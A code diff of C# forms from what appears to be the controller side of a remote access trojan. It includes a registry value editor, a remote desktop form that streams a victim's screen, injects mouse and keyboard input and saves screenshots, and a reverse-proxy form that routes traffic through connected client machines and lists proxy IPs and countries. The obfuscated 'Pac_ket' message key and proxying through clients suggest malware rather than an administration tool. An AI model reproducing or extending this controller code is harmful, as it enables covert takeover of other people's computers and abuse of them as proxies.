this.radioGroupBase.Properties.Items.AddRange(new DevExpress.XtraEditors.Controls.RadioGroupItem[2]
{
new DevExpress.XtraEditors.Controls.RadioGroupItem(16, "Hex"),
new DevExpress.XtraEditors.Controls.RadioGroupItem(10, "Dec")
});
this.radioGroupBase.Properties.NullText = "Base";
this.radioGroupBase.Size = new System.Drawing.Size(143, 85);
this.radioGroupBase.TabIndex = 32;
this.radioGroupBase.SelectedIndexChanged += new System.EventHandler(radioGroupBase_SelectedIndexChanged);
this.xtraTabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl1.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(379, 207);
this.xtraTabControl1.TabIndex = 33;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
this.xtraTabPage1.Controls.Add(this.label1);
this.xtraTabPage1.Controls.Add(this.radioGroupBase);
this.xtraTabPage1.Controls.Add(this.label2);
this.xtraTabPage1.Controls.Add(this.valueNameTxtBox);
this.xtraTabPage1.Controls.Add(this.valueDataTxtBox);
this.xtraTabPage1.Controls.Add(this.cancelBtn);
this.xtraTabPage1.Controls.Add(this.okBtn);
this.xtraTabPage1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(377, 176);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(379, 207);
base.Controls.Add(this.xtraTabControl1);
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormRegValueEditWord.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormRegValueEditWord.IconOptions.Image");
base.Name = "FormRegValueEditWord";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "FormRegValueEditWord";
((System.ComponentModel.ISupportInitialize)this.valueDataTxtBox.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.valueNameTxtBox.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.radioGroupBase.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
this.xtraTabPage1.PerformLayout();
base.ResumeLayout(false);
}
}

File diff suppressed because one or more lines are too long

1188
Forms/FormRegistryEditor.cs Normal file

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

614
Forms/FormRemoteDesktop.cs Normal file
View File

@ -0,0 +1,614 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraEditors;
using DevExpress.XtraEditors.Controls;
using DevExpress.XtraTab;
using MessagePackLib.MessagePack;
using Server.Connection;
using StreamLibrary;
using StreamLibrary.UnsafeCodecs;
namespace Server.Forms;
public class FormRemoteDesktop : XtraForm
{
public int FPS;
public Stopwatch sw = Stopwatch.StartNew();
public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
public Size rdSize;
private bool isMouse;
private bool isKeyboard;
public object syncPicbox = new object();
private readonly List<Keys> _keysPressed;
private IContainer components;
public PictureBox pictureBox1;
public System.Windows.Forms.Timer timer1;
private Label label1;
private Label label2;
private System.Windows.Forms.Timer timerSave;
public Label labelWait;
private Label label6;
private Label label5;
private Label label4;
private SimpleButton btnSave;
private SimpleButton btnMouse;
private SimpleButton btnKeyboard;
public SpinEdit numericUpDown1;
public SpinEdit numericUpDown2;
private PanelControl panelControl1;
private PanelControl panelControl2;
private SimpleButton button1;
private XtraTabControl xtraTabControl2;
private XtraTabPage xtraTabPage2;
public FormMain F { get; set; }
internal Clients ParentClient { get; set; }
internal Clients Client { get; set; }
public string FullPath { get; set; }
public Image GetImage { get; set; }
public FormRemoteDesktop()
{
_keysPressed = new List<Keys>();
InitializeComponent();
}
private void timer1_Tick(object sender, EventArgs e)
{
try
{
if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected)
{
Close();
}
}
catch
{
Close();
}
}
private void FormRemoteDesktop_Load(object sender, EventArgs e)
{
try
{
button1.Tag = "stop";
}
catch
{
}
}
private void Button1_Click(object sender, EventArgs e)
{
if (button1.Tag == "play")
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "remoteDesktop";
msgPack.ForcePathObject("Option").AsString = "capture";
msgPack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString());
msgPack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString());
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
numericUpDown1.Enabled = false;
numericUpDown2.Enabled = false;
btnSave.Enabled = true;
btnMouse.Enabled = true;
button1.Tag = "stop";
}
else
{
button1.Tag = "play";
try
{
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Pac_ket").AsString = "remoteDesktop";
msgPack2.ForcePathObject("Option").AsString = "stop";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack2.Encode2Bytes());
}
catch
{
}
numericUpDown1.Enabled = true;
numericUpDown2.Enabled = true;
btnSave.Enabled = false;
btnMouse.Enabled = false;
}
}
private void BtnSave_Click(object sender, EventArgs e)
{
if (button1.Tag != "stop")
{
return;
}
if (timerSave.Enabled)
{
timerSave.Stop();
return;
}
timerSave.Start();
try
{
if (!Directory.Exists(FullPath))
{
Directory.CreateDirectory(FullPath);
}
Process.Start(FullPath);
}
catch
{
}
}
private void TimerSave_Tick(object sender, EventArgs e)
{
try
{
if (!Directory.Exists(FullPath))
{
Directory.CreateDirectory(FullPath);
}
Encoder quality = Encoder.Quality;
EncoderParameters encoderParameters = new EncoderParameters(1);
EncoderParameter encoderParameter = new EncoderParameter(quality, 50L);
encoderParameters.Param[0] = encoderParameter;
ImageCodecInfo encoder = GetEncoder(ImageFormat.Jpeg);
pictureBox1.Image.Save(FullPath + "\\IMG_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".jpeg", encoder, encoderParameters);
encoderParameters?.Dispose();
encoderParameter?.Dispose();
}
catch
{
}
}
private ImageCodecInfo GetEncoder(ImageFormat format)
{
ImageCodecInfo[] imageDecoders = ImageCodecInfo.GetImageDecoders();
foreach (ImageCodecInfo imageCodecInfo in imageDecoders)
{
if (imageCodecInfo.FormatID == format.Guid)
{
return imageCodecInfo;
}
}
return null;
}
private void PictureBox1_MouseDown(object sender, MouseEventArgs e)
{
try
{
if (button1.Tag == "stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
{
Point point = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
int num = 0;
if (e.Button == MouseButtons.Left)
{
num = 2;
}
if (e.Button == MouseButtons.Right)
{
num = 8;
}
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "remoteDesktop";
msgPack.ForcePathObject("Option").AsString = "mouseClick";
msgPack.ForcePathObject("X").AsInteger = point.X;
msgPack.ForcePathObject("Y").AsInteger = point.Y;
msgPack.ForcePathObject("Button").AsInteger = num;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
catch
{
}
}
private void PictureBox1_MouseUp(object sender, MouseEventArgs e)
{
try
{
if (button1.Tag == "stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
{
Point point = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
int num = 0;
if (e.Button == MouseButtons.Left)
{
num = 4;
}
if (e.Button == MouseButtons.Right)
{
num = 16;
}
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "remoteDesktop";
msgPack.ForcePathObject("Option").AsString = "mouseClick";
msgPack.ForcePathObject("X").AsInteger = point.X;
msgPack.ForcePathObject("Y").AsInteger = point.Y;
msgPack.ForcePathObject("Button").AsInteger = num;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
catch
{
}
}
private void pictureBox1_MouseMove(object sender, MouseEventArgs e)
{
try
{
if (button1.Tag == "stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
{
Point point = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "remoteDesktop";
msgPack.ForcePathObject("Option").AsString = "mouseMove";
msgPack.ForcePathObject("X").AsInteger = point.X;
msgPack.ForcePathObject("Y").AsInteger = point.Y;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
catch
{
}
}
private void Button3_Click(object sender, EventArgs e)
{
if (isMouse)
{
isMouse = false;
}
else
{
isMouse = true;
}
pictureBox1.Focus();
}
private void FormRemoteDesktop_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
GetImage?.Dispose();
ThreadPool.QueueUserWorkItem(delegate
{
Client?.Disconnected();
});
}
catch
{
}
}
private void btnKeyboard_Click(object sender, EventArgs e)
{
if (isKeyboard)
{
isKeyboard = false;
}
else
{
isKeyboard = true;
}
pictureBox1.Focus();
}
private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e)
{
if (button1.Tag == "stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard)
{
if (!IsLockKey(e.KeyCode))
{
e.Handled = true;
}
if (!_keysPressed.Contains(e.KeyCode))
{
_keysPressed.Add(e.KeyCode);
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "remoteDesktop";
msgPack.ForcePathObject("Option").AsString = "keyboardClick";
msgPack.ForcePathObject("key").AsInteger = Convert.ToInt32(e.KeyCode);
msgPack.ForcePathObject("keyIsDown").SetAsBoolean(bVal: true);
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
}
private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e)
{
if (button1.Tag == "stop" && pictureBox1.Image != null && base.ContainsFocus && isKeyboard)
{
if (!IsLockKey(e.KeyCode))
{
e.Handled = true;
}
_keysPressed.Remove(e.KeyCode);
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "remoteDesktop";
msgPack.ForcePathObject("Option").AsString = "keyboardClick";
msgPack.ForcePathObject("key").AsInteger = Convert.ToInt32(e.KeyCode);
msgPack.ForcePathObject("keyIsDown").SetAsBoolean(bVal: false);
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
private bool IsLockKey(Keys key)
{
if ((key & Keys.Capital) != Keys.Capital && (key & Keys.NumLock) != Keys.NumLock)
{
return (key & Keys.Scroll) == Keys.Scroll;
}
return true;
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormRemoteDesktop));
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.numericUpDown2 = new DevExpress.XtraEditors.SpinEdit();
this.btnKeyboard = new DevExpress.XtraEditors.SimpleButton();
this.numericUpDown1 = new DevExpress.XtraEditors.SpinEdit();
this.label6 = new System.Windows.Forms.Label();
this.btnMouse = new DevExpress.XtraEditors.SimpleButton();
this.label5 = new System.Windows.Forms.Label();
this.btnSave = new DevExpress.XtraEditors.SimpleButton();
this.label4 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.label1 = new System.Windows.Forms.Label();
this.timerSave = new System.Windows.Forms.Timer(this.components);
this.labelWait = new System.Windows.Forms.Label();
this.panelControl1 = new DevExpress.XtraEditors.PanelControl();
this.panelControl2 = new DevExpress.XtraEditors.PanelControl();
this.button1 = new DevExpress.XtraEditors.SimpleButton();
this.xtraTabControl2 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage2 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.pictureBox1).BeginInit();
((System.ComponentModel.ISupportInitialize)this.numericUpDown2.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.numericUpDown1.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.panelControl1).BeginInit();
this.panelControl1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.panelControl2).BeginInit();
this.panelControl2.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).BeginInit();
this.xtraTabControl2.SuspendLayout();
this.xtraTabPage2.SuspendLayout();
base.SuspendLayout();
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.pictureBox1.Location = new System.Drawing.Point(0, 34);
this.pictureBox1.Margin = new System.Windows.Forms.Padding(2);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(814, 366);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false;
this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(PictureBox1_MouseDown);
this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(pictureBox1_MouseMove);
this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(PictureBox1_MouseUp);
this.timer1.Interval = 2000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.numericUpDown2.EditValue = new decimal(new int[4]);
this.numericUpDown2.Location = new System.Drawing.Point(389, 3);
this.numericUpDown2.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.numericUpDown2.Name = "numericUpDown2";
this.numericUpDown2.Properties.Appearance.Font = new System.Drawing.Font("Tahoma", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.numericUpDown2.Properties.Appearance.Options.UseFont = true;
this.numericUpDown2.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
{
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
});
this.numericUpDown2.Size = new System.Drawing.Size(105, 28);
this.numericUpDown2.TabIndex = 5;
this.btnKeyboard.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("btnKeyboard.ImageOptions.Image");
this.btnKeyboard.ImageOptions.Location = DevExpress.XtraEditors.ImageLocation.MiddleCenter;
this.btnKeyboard.ImageOptions.SvgImageSize = new System.Drawing.Size(24, 24);
this.btnKeyboard.Location = new System.Drawing.Point(226, 3);
this.btnKeyboard.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.btnKeyboard.Name = "btnKeyboard";
this.btnKeyboard.Size = new System.Drawing.Size(22, 21);
this.btnKeyboard.TabIndex = 7;
this.btnKeyboard.Click += new System.EventHandler(btnKeyboard_Click);
this.numericUpDown1.EditValue = new decimal(new int[4] { 30, 0, 0, 0 });
this.numericUpDown1.Location = new System.Drawing.Point(189, 3);
this.numericUpDown1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.numericUpDown1.Name = "numericUpDown1";
this.numericUpDown1.Properties.Appearance.Font = new System.Drawing.Font("Tahoma", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.numericUpDown1.Properties.Appearance.Options.UseFont = true;
this.numericUpDown1.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
{
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
});
this.numericUpDown1.Size = new System.Drawing.Size(105, 28);
this.numericUpDown1.TabIndex = 4;
this.label6.AutoSize = true;
this.label6.Location = new System.Drawing.Point(169, 8);
this.label6.Name = "label6";
this.label6.Size = new System.Drawing.Size(53, 13);
this.label6.TabIndex = 10;
this.label6.Text = "Keyboard";
this.btnMouse.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("btnMouse.ImageOptions.Image");
this.btnMouse.ImageOptions.Location = DevExpress.XtraEditors.ImageLocation.MiddleCenter;
this.btnMouse.ImageOptions.SvgImageSize = new System.Drawing.Size(24, 24);
this.btnMouse.Location = new System.Drawing.Point(132, 3);
this.btnMouse.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.btnMouse.Name = "btnMouse";
this.btnMouse.Size = new System.Drawing.Size(22, 21);
this.btnMouse.TabIndex = 6;
this.btnMouse.Click += new System.EventHandler(Button3_Click);
this.label5.AutoSize = true;
this.label5.Location = new System.Drawing.Point(88, 6);
this.label5.Name = "label5";
this.label5.Size = new System.Drawing.Size(38, 13);
this.label5.TabIndex = 9;
this.label5.Text = "Mouse";
this.btnSave.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("btnSave.ImageOptions.Image");
this.btnSave.ImageOptions.Location = DevExpress.XtraEditors.ImageLocation.MiddleCenter;
this.btnSave.ImageOptions.SvgImageSize = new System.Drawing.Size(24, 24);
this.btnSave.Location = new System.Drawing.Point(52, 3);
this.btnSave.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.btnSave.Name = "btnSave";
this.btnSave.Size = new System.Drawing.Size(22, 21);
this.btnSave.TabIndex = 5;
this.btnSave.Click += new System.EventHandler(BtnSave_Click);
this.label4.AutoSize = true;
this.label4.Location = new System.Drawing.Point(5, 6);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(46, 13);
this.label4.TabIndex = 8;
this.label4.Text = "Capture";
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(341, 10);
this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(43, 13);
this.label2.TabIndex = 4;
this.label2.Text = "Monitor";
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(103, 10);
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(83, 13);
this.label1.TabIndex = 2;
this.label1.Text = "Quality Desktop";
this.timerSave.Interval = 1500;
this.timerSave.Tick += new System.EventHandler(TimerSave_Tick);
this.labelWait.AutoSize = true;
this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12f);
this.labelWait.Location = new System.Drawing.Point(315, 189);
this.labelWait.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.labelWait.Name = "labelWait";
this.labelWait.Size = new System.Drawing.Size(105, 20);
this.labelWait.TabIndex = 3;
this.labelWait.Text = "Please Wait...";
this.panelControl1.Controls.Add(this.label4);
this.panelControl1.Controls.Add(this.btnKeyboard);
this.panelControl1.Controls.Add(this.btnSave);
this.panelControl1.Controls.Add(this.label5);
this.panelControl1.Controls.Add(this.label6);
this.panelControl1.Controls.Add(this.btnMouse);
this.panelControl1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panelControl1.Location = new System.Drawing.Point(0, 431);
this.panelControl1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.panelControl1.Name = "panelControl1";
this.panelControl1.Size = new System.Drawing.Size(816, 27);
this.panelControl1.TabIndex = 4;
this.panelControl2.Controls.Add(this.numericUpDown2);
this.panelControl2.Controls.Add(this.button1);
this.panelControl2.Controls.Add(this.numericUpDown1);
this.panelControl2.Controls.Add(this.label1);
this.panelControl2.Controls.Add(this.label2);
this.panelControl2.Dock = System.Windows.Forms.DockStyle.Top;
this.panelControl2.Location = new System.Drawing.Point(0, 0);
this.panelControl2.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.panelControl2.Name = "panelControl2";
this.panelControl2.Size = new System.Drawing.Size(814, 34);
this.panelControl2.TabIndex = 5;
this.button1.ImageOptions.Image = (System.Drawing.Image)resources.GetObject("button1.ImageOptions.Image");
this.button1.Location = new System.Drawing.Point(4, 5);
this.button1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(94, 24);
this.button1.TabIndex = 0;
this.button1.Text = "Start";
this.button1.Click += new System.EventHandler(Button1_Click);
this.xtraTabControl2.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl2.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl2.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.xtraTabControl2.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl2.Name = "xtraTabControl2";
this.xtraTabControl2.SelectedTabPage = this.xtraTabPage2;
this.xtraTabControl2.Size = new System.Drawing.Size(816, 431);
this.xtraTabControl2.TabIndex = 11;
this.xtraTabControl2.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage2 });
this.xtraTabPage2.Controls.Add(this.labelWait);
this.xtraTabPage2.Controls.Add(this.pictureBox1);
this.xtraTabPage2.Controls.Add(this.panelControl2);
this.xtraTabPage2.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.xtraTabPage2.Name = "xtraTabPage2";
this.xtraTabPage2.Size = new System.Drawing.Size(814, 400);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(816, 458);
base.Controls.Add(this.xtraTabControl2);
base.Controls.Add(this.panelControl1);
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormRemoteDesktop.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormRemoteDesktop.IconOptions.Image");
base.KeyPreview = true;
base.Margin = new System.Windows.Forms.Padding(2);
this.MinimumSize = new System.Drawing.Size(442, 300);
base.Name = "FormRemoteDesktop";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Remote Desktop";
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(FormRemoteDesktop_FormClosed);
base.Load += new System.EventHandler(FormRemoteDesktop_Load);
base.KeyDown += new System.Windows.Forms.KeyEventHandler(FormRemoteDesktop_KeyDown);
base.KeyUp += new System.Windows.Forms.KeyEventHandler(FormRemoteDesktop_KeyUp);
((System.ComponentModel.ISupportInitialize)this.pictureBox1).EndInit();
((System.ComponentModel.ISupportInitialize)this.numericUpDown2.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.numericUpDown1.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.panelControl1).EndInit();
this.panelControl1.ResumeLayout(false);
this.panelControl1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.panelControl2).EndInit();
this.panelControl2.ResumeLayout(false);
this.panelControl2.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).EndInit();
this.xtraTabControl2.ResumeLayout(false);
this.xtraTabPage2.ResumeLayout(false);
this.xtraTabPage2.PerformLayout();
base.ResumeLayout(false);
}
}

File diff suppressed because one or more lines are too long

408
Forms/FormReverseProxy.cs Normal file
View File

@ -0,0 +1,408 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Globalization;
using System.Net.Sockets;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraBars;
using DevExpress.XtraEditors;
using DevExpress.XtraEditors.Controls;
using DevExpress.XtraGrid;
using DevExpress.XtraGrid.Columns;
using DevExpress.XtraGrid.Views.Base;
using DevExpress.XtraGrid.Views.Grid;
using DevExpress.XtraTab;
using Server.Connection;
using Server.Handle_Packet;
using Server.ReverseProxy;
namespace Server.Forms;
public class FormReverseProxy : XtraForm
{
private object _lock = new object();
private IContainer components;
private Label lblLocalServerPort;
public SimpleButton btnStop;
public SimpleButton btnStart;
private SpinEdit nudServerPort;
private PopupMenu popupMenuConntections;
private BarButtonItem CloseConnectionMenu;
private BarManager barManager1;
private BarDockControl barDockControlTop;
private BarDockControl barDockControlBottom;
private BarDockControl barDockControlLeft;
private BarDockControl barDockControlRight;
private GridControl gridControlConnections;
private GridView gridViewConnections;
private GridColumn UserIPColumn;
private GridColumn UserCountryColumn;
private GridColumn ProxyIPColumn;
private GridColumn ProxyCountryColumn;
private GridColumn TargetColumn;
private GridColumn ProxyTypeColumn;
private GridColumn ReceivedColumn;
private GridColumn SentColumn;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
private PanelControl panelControl1;
private Clients ProxyClient => _reverseProxyHandler.CommunicationClient;
private HandleReverseProxy _reverseProxyHandler => Program.ReverseProxyHandler;
public FormReverseProxy()
{
InitializeComponent();
}
private ushort GetPortSafe()
{
if (ushort.TryParse(nudServerPort.Value.ToString(CultureInfo.InvariantCulture), out var result))
{
return result;
}
return 0;
}
private void ToggleConfigurationButtons(bool started)
{
btnStart.Enabled = !started;
nudServerPort.Enabled = !started;
btnStop.Enabled = started;
}
private void btnStart_Click(object sender, EventArgs e)
{
try
{
ushort portSafe = GetPortSafe();
if (portSafe == 0)
{
MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
return;
}
new HandleLogs().Addmsg($"Reverse Proxy is working on {ProxyClient.Ip}:{portSafe}...", Color.Blue);
_reverseProxyHandler.StartReverseProxyServer(portSafe);
ToggleConfigurationButtons(started: true);
}
catch (SocketException ex)
{
if (ex.ErrorCode == 10048)
{
MessageBox.Show("The port is already in use.", "Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
else
{
MessageBox.Show($"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}", "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
}
catch (Exception ex2)
{
MessageBox.Show("An unexpected error occurred: " + ex2.Message, "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
}
private void btnStop_Click(object sender, EventArgs e)
{
ToggleConfigurationButtons(started: false);
_reverseProxyHandler.StopReverseProxyServer();
new HandleLogs().Addmsg("Stopped Reverse Proxy on " + ProxyClient.Ip + "...", Color.Blue);
}
private void nudServerPort_ValueChanged(object sender, EventArgs e)
{
}
private void FormReverseProxy_Load(object sender, EventArgs e)
{
}
private void FormReverseProxy_FormClosing(object sender, FormClosingEventArgs e)
{
_reverseProxyHandler.ExitProxy();
}
public void OnReport(ReverseProxyClient[] OpenConnections)
{
lock (_lock)
{
gridControlConnections.DataSource = OpenConnections;
}
}
private void CloseConnectionMenu_ItemClick(object sender, ItemClickEventArgs e)
{
int[] selectedRows = gridViewConnections.GetSelectedRows();
foreach (int index in selectedRows)
{
_reverseProxyHandler.CloseConnection(index);
}
}
private void lstConnections_MouseUp(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Right)
{
popupMenuConntections.ShowPopup(gridControlConnections.PointToScreen(e.Location));
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormReverseProxy));
this.lblLocalServerPort = new System.Windows.Forms.Label();
this.nudServerPort = new DevExpress.XtraEditors.SpinEdit();
this.btnStop = new DevExpress.XtraEditors.SimpleButton();
this.btnStart = new DevExpress.XtraEditors.SimpleButton();
this.gridControlConnections = new DevExpress.XtraGrid.GridControl();
this.gridViewConnections = new DevExpress.XtraGrid.Views.Grid.GridView();
this.UserIPColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.UserCountryColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ProxyIPColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ProxyCountryColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ProxyTypeColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.TargetColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ReceivedColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.SentColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.barManager1 = new DevExpress.XtraBars.BarManager(this.components);
this.barDockControlTop = new DevExpress.XtraBars.BarDockControl();
this.barDockControlBottom = new DevExpress.XtraBars.BarDockControl();
this.barDockControlLeft = new DevExpress.XtraBars.BarDockControl();
this.barDockControlRight = new DevExpress.XtraBars.BarDockControl();
this.CloseConnectionMenu = new DevExpress.XtraBars.BarButtonItem();
this.popupMenuConntections = new DevExpress.XtraBars.PopupMenu(this.components);
this.panelControl1 = new DevExpress.XtraEditors.PanelControl();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.nudServerPort.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.gridControlConnections).BeginInit();
((System.ComponentModel.ISupportInitialize)this.gridViewConnections).BeginInit();
((System.ComponentModel.ISupportInitialize)this.barManager1).BeginInit();
((System.ComponentModel.ISupportInitialize)this.popupMenuConntections).BeginInit();
